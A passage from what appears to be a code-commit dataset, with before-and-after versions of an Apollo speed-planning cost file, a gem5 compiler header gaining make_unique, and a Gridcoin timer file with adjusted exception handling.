Device_SetInterface::begin);\n\t\n\tpDevice.addMethod(\"__isKernelDriverActive\", IsKernelDriverActive);\n\tpDevice.addMethod(\"__detachKernelDriver\", DetachKernelDriver);\n\tpDevice.addMethod(\"__attachKernelDriver\", AttachKernelDriver);\n}\n\nProto<Device> pDevice(\"Device\", &init);\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file dp_st_cost.cc\n **\/\n\n#include \"modules\/planning\/tasks\/dp_st_speed\/dp_st_cost.h\"\n\n#include <limits>\n\n#include \"modules\/planning\/common\/speed\/st_point.h\"\n\nnamespace apollo {\nnamespace planning {\nnamespace {\nconstexpr double kInf = std::numeric_limits<double>::infinity();\n}\n\nDpStCost::DpStCost(const DpStSpeedConfig& config,\n                   const std::vector<const PathObstacle*>& obstacles,\n                   const common::TrajectoryPoint& init_point)\n    : config_(config),\n      obstacles_(obstacles),\n      init_point_(init_point),\n      unit_s_(config_.total_path_length() \/ config_.matrix_dimension_s()),\n      unit_t_(config_.total_time() \/ config_.matrix_dimension_t()),\n      unit_v_(unit_s_ \/ unit_t_) {}\n\ndouble DpStCost::GetObstacleCost(const StGraphPoint& st_graph_point) const {\n  const double s = st_graph_point.point().s();\n  const double t = st_graph_point.point().t();\n\n  double cost = 0.0;\n  for (const auto* obstacle : obstacles_) {\n    auto boundary = obstacle->st_boundary();\n    const double kIgnoreDistance = 200.0;\n    if (boundary.min_s() > kIgnoreDistance) {\n      continue;\n    }\n    if (t < boundary.min_t() || t > boundary.max_t()) {\n      continue;\n    }\n    if (obstacle->IsBlockingObstacle() &&\n        boundary.IsPointInBoundary(STPoint(s, t))) {\n      return kInf;\n    }\n    double s_upper = 0.0;\n    double s_lower = 0.0;\n    boundary.GetBoundarySRange(t, &s_upper, &s_lower);\n    if (s < s_lower) {\n      constexpr double kSafeTimeBuffer = 3.0;\n      const double len = obstacle->obstacle()->Speed() * kSafeTimeBuffer;\n      if (s + len < s_lower) {\n        continue;\n      } else {\n        cost += config_.obstacle_weight() * config_.default_obstacle_cost() *\n                std::pow((len - s_lower + s), 2);\n      }\n    } else if (s > s_upper) {\n      const double kSafeDistance = 20.0;  \/\/ or calculated from velocity\n      if (s > s_upper + kSafeDistance) {\n        continue;\n      } else {\n        cost += config_.obstacle_weight() *\n                std::pow((kSafeDistance + s_upper - s), 2);\n      }\n    }\n  }\n  return cost * unit_t_;\n}\n\ndouble DpStCost::GetReferenceCost(const STPoint& point,\n                                  const STPoint& reference_point) const {\n  return config_.reference_weight() * (point.s() - reference_point.s()) *\n         (point.s() - reference_point.s()) * unit_t_;\n}\n\ndouble DpStCost::GetSpeedCost(const STPoint& first, const STPoint& second,\n                              const double speed_limit) const {\n  double cost = 0.0;\n  const double speed = (second.s() - first.s()) \/ unit_t_;\n  if (speed < 0) {\n    return kInf;\n  }\n  double det_speed = (speed - speed_limit) \/ speed_limit;\n  if (det_speed > 0) {\n    cost = config_.exceed_speed_penalty() * config_.default_speed_cost() *\n           fabs(speed * speed) * unit_t_;\n  } else if (det_speed < 0) {\n    cost = config_.low_speed_penalty() * config_.default_speed_cost() *\n           -det_speed * unit_t_;\n  } else {\n    cost = 0.0;\n  }\n  return cost;\n}\n\ndouble DpStCost::GetAccelCost(const double accel) const {\n  const double accel_sq = accel * accel;\n  double max_acc = config_.max_acceleration();\n  double max_dec = config_.max_deceleration();\n  double accel_penalty = config_.accel_penalty();\n  double decel_penalty = config_.decel_penalty();\n  double cost = 0.0;\n  if (accel > 0.0) {\n    cost = accel_penalty * accel_sq;\n  } else {\n    cost = decel_penalty * accel_sq;\n  }\n  cost += accel_sq * decel_penalty * decel_penalty \/\n              (1 + std::exp(1.0 * (accel - max_dec))) +\n          accel_sq * accel_penalty * accel_penalty \/\n              (1 + std::exp(-1.0 * (accel - max_acc)));\n  return cost * unit_t_;\n}\n\ndouble DpStCost::GetAccelCostByThreePoints(const STPoint& first,\n                                           const STPoint& second,\n                                           const STPoint& third) const {\n  double accel = (first.s() + third.s() - 2 * second.s()) \/ (unit_t_ * unit_t_);\n  return GetAccelCost(accel);\n}\n\ndouble DpStCost::GetAccelCostByTwoPoints(const double pre_speed,\n                                         const STPoint& pre_point,\n                                         const STPoint& curr_point) const {\n  double current_speed = (curr_point.s() - pre_point.s()) \/ unit_t_;\n  double accel = (current_speed - pre_speed) \/ unit_t_;\n  return GetAccelCost(accel);\n}\n\ndouble DpStCost::JerkCost(const double jerk) const {\n  double jerk_sq = jerk * jerk;\n  double cost = 0.0;\n  if (jerk > 0) {\n    cost = config_.positive_jerk_coeff() * jerk_sq * unit_t_;\n  } else {\n    cost = config_.negative_jerk_coeff() * jerk_sq * unit_t_;\n  }\n  return cost;\n}\n\ndouble DpStCost::GetJerkCostByFourPoints(const STPoint& first,\n                                         const STPoint& second,\n                                         const STPoint& third,\n                                         const STPoint& fourth) const {\n  double jerk = (fourth.s() - 3 * third.s() + 3 * second.s() - first.s()) \/\n                (unit_t_ * unit_t_ * unit_t_);\n  return JerkCost(jerk);\n}\n\ndouble DpStCost::GetJerkCostByTwoPoints(const double pre_speed,\n                                        const double pre_acc,\n                                        const STPoint& pre_point,\n                                        const STPoint& curr_point) const {\n  const double curr_speed = (curr_point.s() - pre_point.s()) \/ unit_t_;\n  const double curr_accel = (curr_speed - pre_speed) \/ unit_t_;\n  const double jerk = (curr_accel - pre_acc) \/ unit_t_;\n  return JerkCost(jerk);\n}\n\ndouble DpStCost::GetJerkCostByThreePoints(const double first_speed,\n                                          const STPoint& first,\n                                          const STPoint& second,\n                                          const STPoint& third) const {\n  const double pre_speed = (second.s() - first.s()) \/ unit_t_;\n  const double pre_acc = (pre_speed - first_speed) \/ unit_t_;\n  const double curr_speed = (third.s() - second.s()) \/ unit_t_;\n  const double curr_acc = (curr_speed - pre_speed) \/ unit_t_;\n  const double jerk = (curr_acc - pre_acc) \/ unit_t_;\n  return JerkCost(jerk);\n}\n\n}  \/\/ namespace planning\n}  \/\/ namespace apollo\n<commit_msg>Planning: added default obstacle cost for overtake. (#2207)<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file dp_st_cost.cc\n **\/\n\n#include \"modules\/planning\/tasks\/dp_st_speed\/dp_st_cost.h\"\n\n#include <limits>\n\n#include \"modules\/planning\/common\/speed\/st_point.h\"\n\nnamespace apollo {\nnamespace planning {\nnamespace {\nconstexpr double kInf = std::numeric_limits<double>::infinity();\n}\n\nDpStCost::DpStCost(const DpStSpeedConfig& config,\n                   const std::vector<const PathObstacle*>& obstacles,\n                   const common::TrajectoryPoint& init_point)\n    : config_(config),\n      obstacles_(obstacles),\n      init_point_(init_point),\n      unit_s_(config_.total_path_length() \/ config_.matrix_dimension_s()),\n      unit_t_(config_.total_time() \/ config_.matrix_dimension_t()),\n      unit_v_(unit_s_ \/ unit_t_) {}\n\ndouble DpStCost::GetObstacleCost(const StGraphPoint& st_graph_point) const {\n  const double s = st_graph_point.point().s();\n  const double t = st_graph_point.point().t();\n\n  double cost = 0.0;\n  for (const auto* obstacle : obstacles_) {\n    auto boundary = obstacle->st_boundary();\n    const double kIgnoreDistance = 200.0;\n    if (boundary.min_s() > kIgnoreDistance) {\n      continue;\n    }\n    if (t < boundary.min_t() || t > boundary.max_t()) {\n      continue;\n    }\n    if (obstacle->IsBlockingObstacle() &&\n        boundary.IsPointInBoundary(STPoint(s, t))) {\n      return kInf;\n    }\n    double s_upper = 0.0;\n    double s_lower = 0.0;\n    boundary.GetBoundarySRange(t, &s_upper, &s_lower);\n    if (s < s_lower) {\n      constexpr double kSafeTimeBuffer = 3.0;\n      const double len = obstacle->obstacle()->Speed() * kSafeTimeBuffer;\n      if (s + len < s_lower) {\n        continue;\n      } else {\n        cost += config_.obstacle_weight() * config_.default_obstacle_cost() *\n                std::pow((len - s_lower + s), 2);\n      }\n    } else if (s > s_upper) {\n      const double kSafeDistance = 20.0;  \/\/ or calculated from velocity\n      if (s > s_upper + kSafeDistance) {\n        continue;\n      } else {\n        cost += config_.obstacle_weight() * config_.default_obstacle_cost() *\n                std::pow((kSafeDistance + s_upper - s), 2);\n      }\n    }\n  }\n  return cost * unit_t_;\n}\n\ndouble DpStCost::GetReferenceCost(const STPoint& point,\n                                  const STPoint& reference_point) const {\n  return config_.reference_weight() * (point.s() - reference_point.s()) *\n         (point.s() - reference_point.s()) * unit_t_;\n}\n\ndouble DpStCost::GetSpeedCost(const STPoint& first, const STPoint& second,\n                              const double speed_limit) const {\n  double cost = 0.0;\n  const double speed = (second.s() - first.s()) \/ unit_t_;\n  if (speed < 0) {\n    return kInf;\n  }\n  double det_speed = (speed - speed_limit) \/ speed_limit;\n  if (det_speed > 0) {\n    cost = config_.exceed_speed_penalty() * config_.default_speed_cost() *\n           fabs(speed * speed) * unit_t_;\n  } else if (det_speed < 0) {\n    cost = config_.low_speed_penalty() * config_.default_speed_cost() *\n           -det_speed * unit_t_;\n  } else {\n    cost = 0.0;\n  }\n  return cost;\n}\n\ndouble DpStCost::GetAccelCost(const double accel) const {\n  const double accel_sq = accel * accel;\n  double max_acc = config_.max_acceleration();\n  double max_dec = config_.max_deceleration();\n  double accel_penalty = config_.accel_penalty();\n  double decel_penalty = config_.decel_penalty();\n  double cost = 0.0;\n  if (accel > 0.0) {\n    cost = accel_penalty * accel_sq;\n  } else {\n    cost = decel_penalty * accel_sq;\n  }\n  cost += accel_sq * decel_penalty * decel_penalty \/\n              (1 + std::exp(1.0 * (accel - max_dec))) +\n          accel_sq * accel_penalty * accel_penalty \/\n              (1 + std::exp(-1.0 * (accel - max_acc)));\n  return cost * unit_t_;\n}\n\ndouble DpStCost::GetAccelCostByThreePoints(const STPoint& first,\n                                           const STPoint& second,\n                                           const STPoint& third) const {\n  double accel = (first.s() + third.s() - 2 * second.s()) \/ (unit_t_ * unit_t_);\n  return GetAccelCost(accel);\n}\n\ndouble DpStCost::GetAccelCostByTwoPoints(const double pre_speed,\n                                         const STPoint& pre_point,\n                                         const STPoint& curr_point) const {\n  double current_speed = (curr_point.s() - pre_point.s()) \/ unit_t_;\n  double accel = (current_speed - pre_speed) \/ unit_t_;\n  return GetAccelCost(accel);\n}\n\ndouble DpStCost::JerkCost(const double jerk) const {\n  double jerk_sq = jerk * jerk;\n  double cost = 0.0;\n  if (jerk > 0) {\n    cost = config_.positive_jerk_coeff() * jerk_sq * unit_t_;\n  } else {\n    cost = config_.negative_jerk_coeff() * jerk_sq * unit_t_;\n  }\n  return cost;\n}\n\ndouble DpStCost::GetJerkCostByFourPoints(const STPoint& first,\n                                         const STPoint& second,\n                                         const STPoint& third,\n                                         const STPoint& fourth) const {\n  double jerk = (fourth.s() - 3 * third.s() + 3 * second.s() - first.s()) \/\n                (unit_t_ * unit_t_ * unit_t_);\n  return JerkCost(jerk);\n}\n\ndouble DpStCost::GetJerkCostByTwoPoints(const double pre_speed,\n                                        const double pre_acc,\n                                        const STPoint& pre_point,\n                                        const STPoint& curr_point) const {\n  const double curr_speed = (curr_point.s() - pre_point.s()) \/ unit_t_;\n  const double curr_accel = (curr_speed - pre_speed) \/ unit_t_;\n  const double jerk = (curr_accel - pre_acc) \/ unit_t_;\n  return JerkCost(jerk);\n}\n\ndouble DpStCost::GetJerkCostByThreePoints(const double first_speed,\n                                          const STPoint& first,\n                                          const STPoint& second,\n                                          const STPoint& third) const {\n  const double pre_speed = (second.s() - first.s()) \/ unit_t_;\n  const double pre_acc = (pre_speed - first_speed) \/ unit_t_;\n  const double curr_speed = (third.s() - second.s()) \/ unit_t_;\n  const double curr_acc = (curr_speed - pre_speed) \/ unit_t_;\n  const double jerk = (curr_acc - pre_acc) \/ unit_t_;\n  return JerkCost(jerk);\n}\n\n}  \/\/ namespace planning\n}  \/\/ namespace apollo\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2012 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder.  You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Ali Saidi\n *\/\n\n#ifndef __BASE_COMPILER_HH__\n#define __BASE_COMPILER_HH__\n\n\/\/ http:\/\/gcc.gnu.org\/onlinedocs\/gcc\/Function-Attributes.html\n\n#if defined(__GNUC__) \/\/ clang or gcc\n#  define M5_ATTR_NORETURN  __attribute__((noreturn))\n#  define M5_DUMMY_RETURN\n#  define M5_VAR_USED __attribute__((unused))\n#  define M5_ATTR_PACKED __attribute__ ((__packed__))\n#  define M5_NO_INLINE __attribute__ ((__noinline__))\n#  define M5_DEPRECATED __attribute__((deprecated))\n#  define M5_DEPRECATED_MSG(MSG) __attribute__((deprecated(MSG)))\n#endif\n\n#if defined(__clang__)\n#  define M5_CLASS_VAR_USED M5_VAR_USED\n#else\n#  define M5_CLASS_VAR_USED\n#endif\n\n#endif \/\/ __BASE_COMPILER_HH__\n<commit_msg>base: Defining make_unique for C++11<commit_after>\/*\n * Copyright (c) 2012,2017 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder.  You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2006 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Ali Saidi\n *\/\n\n#ifndef __BASE_COMPILER_HH__\n#define __BASE_COMPILER_HH__\n\n#include <memory>\n\n\/\/ http:\/\/gcc.gnu.org\/onlinedocs\/gcc\/Function-Attributes.html\n\n#if defined(__GNUC__) \/\/ clang or gcc\n#  define M5_ATTR_NORETURN  __attribute__((noreturn))\n#  define M5_DUMMY_RETURN\n#  define M5_VAR_USED __attribute__((unused))\n#  define M5_ATTR_PACKED __attribute__ ((__packed__))\n#  define M5_NO_INLINE __attribute__ ((__noinline__))\n#  define M5_DEPRECATED __attribute__((deprecated))\n#  define M5_DEPRECATED_MSG(MSG) __attribute__((deprecated(MSG)))\n#endif\n\n#if defined(__clang__)\n#  define M5_CLASS_VAR_USED M5_VAR_USED\n#else\n#  define M5_CLASS_VAR_USED\n#endif\n\n\/\/ std::make_unique redefined for C++11 compilers\nnamespace m5\n{\n\n#if __cplusplus == 201402L \/\/ C++14\n\nusing std::make_unique;\n\n#else \/\/ C++11\n\n\/** Defining custom version of make_unique: m5::make_unique<>() *\/\ntemplate<typename T, typename... Args>\nstd::unique_ptr<T>\nmake_unique( Args&&... constructor_args )\n{\n    return std::unique_ptr<T>(\n               new T( std::forward<Args>(constructor_args)... )\n           );\n}\n\n#endif \/\/ __cplusplus == 201402L\n\n} \/\/namespace m5\n\n#endif \/\/ __BASE_COMPILER_HH__\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#if defined(HAVE_CONFIG_H)\n#include <config\/gridcoin-config.h>\n#endif\n\n#include <util\/time.h>\n\n#include <atomic>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/thread.hpp>\n#include <ctime>\n#include <tinyformat.h>\n#include <inttypes.h>\n\n#include \"logging.h\"\n\nstatic int64_t nMockTime = 0;  \/\/ For unit testing\n\nint64_t GetTime()\n{\n    if (nMockTime) return nMockTime;\n\n    return time(nullptr);\n}\n\nint64_t GetMockTime()\n{\n    return nMockTime;\n}\n\nvoid SetMockTime(int64_t nMockTimeIn)\n{\n    nMockTime = nMockTimeIn;\n}\n\ntemplate <typename T>\nT GetTime()\n{\n    const std::chrono::seconds mocktime(nMockTime);\n\n    return std::chrono::duration_cast<T>(\n        mocktime.count() ?\n            mocktime :\n            std::chrono::microseconds{GetTimeMicros()});\n}\ntemplate std::chrono::seconds GetTime();\ntemplate std::chrono::milliseconds GetTime();\ntemplate std::chrono::microseconds GetTime();\n\nint64_t GetTimeMillis()\n{\n    int64_t now = (boost::posix_time::microsec_clock::universal_time() -\n                   boost::posix_time::ptime(boost::gregorian::date(1970,1,1))).total_milliseconds();\n    assert(now > 0);\n    return now;\n}\n\nint64_t GetTimeMicros()\n{\n    int64_t now = (boost::posix_time::microsec_clock::universal_time() -\n                   boost::posix_time::ptime(boost::gregorian::date(1970,1,1))).total_microseconds();\n    assert(now > 0);\n    return now;\n}\n\nint64_t GetSystemTimeInSeconds()\n{\n    return GetTimeMicros()\/1000000;\n}\n\nvoid MilliTimer::InitTimer(const std::string& label, bool log)\n{\n    internal_timer timer;\n\n    timer.start_time = GetTimeMillis();\n    timer.checkpoint_time = timer.start_time;\n    timer.log = log;\n\n    LOCK(cs_timer_map_lock);\n\n    \/\/ the [] either creates a new timer with the label or replaces an existing one.\n    timer_map[label] = timer;\n}\n\nbool MilliTimer::DeleteTimer(const std::string& label)\n{\n    bool delete_status = false;\n\n    LOCK(cs_timer_map_lock);\n\n    if (timer_map.find(label) != timer_map.end())\n    {\n        timer_map.erase(label);\n\n        delete_status = true;\n    }\n\n    return delete_status;\n}\n\nbool MilliTimer::LogTimer(const std::string& label, bool log)\n{\n    LOCK(cs_timer_map_lock);\n\n    auto it = timer_map.find(label);\n\n    if (it != timer_map.end())\n    {\n        it->second.log = log;\n        return true;\n    }\n\n    return false;\n}\n\nint64_t MilliTimer::GetStartTime(const std::string& label)\n{\n    internal_timer internal_timer;\n\n    try\n    {\n\n        LOCK(cs_timer_map_lock);\n\n        \/\/ This will throw an internal exception if the entry specified by label doesn't exist.\n        internal_timer = timer_map.at(label);\n    }\n    catch (std::out_of_range) {}\n\n    return internal_timer.start_time;\n}\n\nconst MilliTimer::timer MilliTimer::GetTimes(const std::string& log_string, const std::string& label)\n{\n    internal_timer internal_timer;\n    timer timer;\n\n    try\n    {\n        LOCK(cs_timer_map_lock);\n\n        \/\/ This will throw an internal exception if the entry specified by label doesn't exist.\n        internal_timer = timer_map.at(label);\n\n        int64_t current_time = GetTimeMillis();\n\n        timer.elapsed_time = current_time - internal_timer.start_time;\n        timer.time_since_last_check = current_time - internal_timer.checkpoint_time;\n\n        internal_timer.checkpoint_time = current_time;\n\n        \/\/Because of the exception guard above the map entry can be updated with [].\n        timer_map[label] = internal_timer;\n    }\n    catch (std::out_of_range)\n    {\n        \/\/Re-initialize timer if internal exception is thrown.\n        timer = {};\n        return timer;\n    }\n\n    \/\/ Only log if no exception above, and also done after the release of the lock on the map to\n    \/\/ minimize lock time.\n    if (internal_timer.log)\n    {\n        LogPrintf(\"timer %s: %s: elapsed time: %\" PRId64 \" ms, time since last check: %\" PRId64 \" ms.\",\n                  label, log_string, timer.elapsed_time, timer.time_since_last_check);\n    }\n\n    return timer;\n}\n\nint64_t MilliTimer::GetElapsedTime(const std::string& log_string, const std::string& label)\n{\n    return GetTimes(log_string, label).elapsed_time;\n}\n\n\/\/ Create global timer instance.\nMilliTimer g_timer;\n\nvoid MilliSleep(int64_t n)\n{\n\n\/**\n * Boost's sleep_for was uninterruptible when backed by nanosleep from 1.50\n * until fixed in 1.52. Use the deprecated sleep method for the broken case.\n * See: https:\/\/svn.boost.org\/trac\/boost\/ticket\/7238\n *\/\n#if defined(HAVE_WORKING_BOOST_SLEEP_FOR)\n    boost::this_thread::sleep_for(boost::chrono::milliseconds(n));\n#elif defined(HAVE_WORKING_BOOST_SLEEP)\n    boost::this_thread::sleep(boost::posix_time::milliseconds(n));\n#else\n\/\/should never get here\n#error missing boost sleep implementation\n#endif\n}\n\nstd::string FormatISO8601DateTime(int64_t nTime) {\n    struct tm ts;\n    time_t time_val = nTime;\n#ifdef HAVE_GMTIME_R\n    if (gmtime_r(&time_val, &ts) == nullptr) {\n#else\n    if (gmtime_s(&ts, &time_val) != 0) {\n#endif\n        return {};\n    }\n    return strprintf(\"%04i-%02i-%02iT%02i:%02i:%02iZ\", ts.tm_year + 1900, ts.tm_mon + 1, ts.tm_mday, ts.tm_hour, ts.tm_min, ts.tm_sec);\n}\n\nstd::string FormatISO8601Date(int64_t nTime) {\n    struct tm ts;\n    time_t time_val = nTime;\n#ifdef HAVE_GMTIME_R\n    if (gmtime_r(&time_val, &ts) == nullptr) {\n#else\n    if (gmtime_s(&ts, &time_val) != 0) {\n#endif\n        return {};\n    }\n    return strprintf(\"%04i-%02i-%02i\", ts.tm_year + 1900, ts.tm_mon + 1, ts.tm_mday);\n}\n\nint64_t ParseISO8601DateTime(const std::string& str)\n{\n    static const boost::posix_time::ptime epoch = boost::posix_time::from_time_t(0);\n    static const std::locale loc(std::locale::classic(),\n        new boost::posix_time::time_input_facet(\"%Y-%m-%dT%H:%M:%SZ\"));\n    std::istringstream iss(str);\n    iss.imbue(loc);\n    boost::posix_time::ptime ptime(boost::date_time::not_a_date_time);\n    iss >> ptime;\n    if (ptime.is_not_a_date_time() || epoch > ptime)\n        return 0;\n    return (ptime - epoch).total_seconds();\n}\n<commit_msg>Tweak exception handling in MilliTimer class to eliminate compiler warnings<commit_after>\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#if defined(HAVE_CONFIG_H)\n#include <config\/gridcoin-config.h>\n#endif\n\n#include <util\/time.h>\n\n#include <atomic>\n#include <boost\/date_time\/posix_time\/posix_time.hpp>\n#include <boost\/thread.hpp>\n#include <ctime>\n#include <tinyformat.h>\n#include <inttypes.h>\n\n#include \"logging.h\"\n\nstatic int64_t nMockTime = 0;  \/\/ For unit testing\n\nint64_t GetTime()\n{\n    if (nMockTime) return nMockTime;\n\n    return time(nullptr);\n}\n\nint64_t GetMockTime()\n{\n    return nMockTime;\n}\n\nvoid SetMockTime(int64_t nMockTimeIn)\n{\n    nMockTime = nMockTimeIn;\n}\n\ntemplate <typename T>\nT GetTime()\n{\n    const std::chrono::seconds mocktime(nMockTime);\n\n    return std::chrono::duration_cast<T>(\n        mocktime.count() ?\n            mocktime :\n            std::chrono::microseconds{GetTimeMicros()});\n}\ntemplate std::chrono::seconds GetTime();\ntemplate std::chrono::milliseconds GetTime();\ntemplate std::chrono::microseconds GetTime();\n\nint64_t GetTimeMillis()\n{\n    int64_t now = (boost::posix_time::microsec_clock::universal_time() -\n                   boost::posix_time::ptime(boost::gregorian::date(1970,1,1))).total_milliseconds();\n    assert(now > 0);\n    return now;\n}\n\nint64_t GetTimeMicros()\n{\n    int64_t now = (boost::posix_time::microsec_clock::universal_time() -\n                   boost::posix_time::ptime(boost::gregorian::date(1970,1,1))).total_microseconds();\n    assert(now > 0);\n    return now;\n}\n\nint64_t GetSystemTimeInSeconds()\n{\n    return GetTimeMicros()\/1000000;\n}\n\nvoid MilliTimer::InitTimer(const std::string& label, bool log)\n{\n    internal_timer timer;\n\n    timer.start_time = GetTimeMillis();\n    timer.checkpoint_time = timer.start_time;\n    timer.log = log;\n\n    LOCK(cs_timer_map_lock);\n\n    \/\/ the [] either creates a new timer with the label or replaces an existing one.\n    timer_map[label] = timer;\n}\n\nbool MilliTimer::DeleteTimer(const std::string& label)\n{\n    bool delete_status = false;\n\n    LOCK(cs_timer_map_lock);\n\n    if (timer_map.find(label) != timer_map.end())\n    {\n        timer_map.erase(label);\n\n        delete_status = true;\n    }\n\n    return delete_status;\n}\n\nbool MilliTimer::LogTimer(const std::string& label, bool log)\n{\n    LOCK(cs_timer_map_lock);\n\n    auto it = timer_map.find(label);\n\n    if (it != timer_map.end())\n    {\n        it->second.log = log;\n        return true;\n    }\n\n    return false;\n}\n\nint64_t MilliTimer::GetStartTime(const std::string& label)\n{\n    internal_timer internal_timer;\n\n    try\n    {\n        LOCK(cs_timer_map_lock);\n\n        \/\/ This will throw an internal exception if the entry specified by label doesn't exist.\n        internal_timer = timer_map.at(label);\n    }\n    catch (std::out_of_range&) {\n        LogPrintf(\"WARNING: %s: Timer with specified label does not exist. Returning zero start time.\");\n    }\n\n    return internal_timer.start_time;\n}\n\nconst MilliTimer::timer MilliTimer::GetTimes(const std::string& log_string, const std::string& label)\n{\n    internal_timer internal_timer;\n    timer timer;\n\n    try\n    {\n        LOCK(cs_timer_map_lock);\n\n        \/\/ This will throw an internal exception if the entry specified by label doesn't exist.\n        internal_timer = timer_map.at(label);\n\n        int64_t current_time = GetTimeMillis();\n\n        timer.elapsed_time = current_time - internal_timer.start_time;\n        timer.time_since_last_check = current_time - internal_timer.checkpoint_time;\n\n        internal_timer.checkpoint_time = current_time;\n\n        \/\/Because of the exception guard above the map entry can be updated with [].\n        timer_map[label] = internal_timer;\n    }\n    catch (std::out_of_range&)\n    {\n        LogPrintf(\"WARNING: %s: Timer with specified label does not exist. Returning zeroed timer.\");\n        timer = {};\n        return timer;\n    }\n\n    \/\/ Only log if no exception above, and also done after the release of the lock on the map to\n    \/\/ minimize lock time.\n    if (internal_timer.log)\n    {\n        LogPrintf(\"timer %s: %s: elapsed time: %\" PRId64 \" ms, time since last check: %\" PRId64 \" ms.\",\n                  label, log_string, timer.elapsed_time, timer.time_since_last_check);\n    }\n\n    return timer;\n}\n\nint64_t MilliTimer::GetElapsedTime(const std::string& log_string, const std::string& label)\n{\n    return GetTimes(log_string, label).elapsed_time;\n}\n\n\/\/ Create global timer 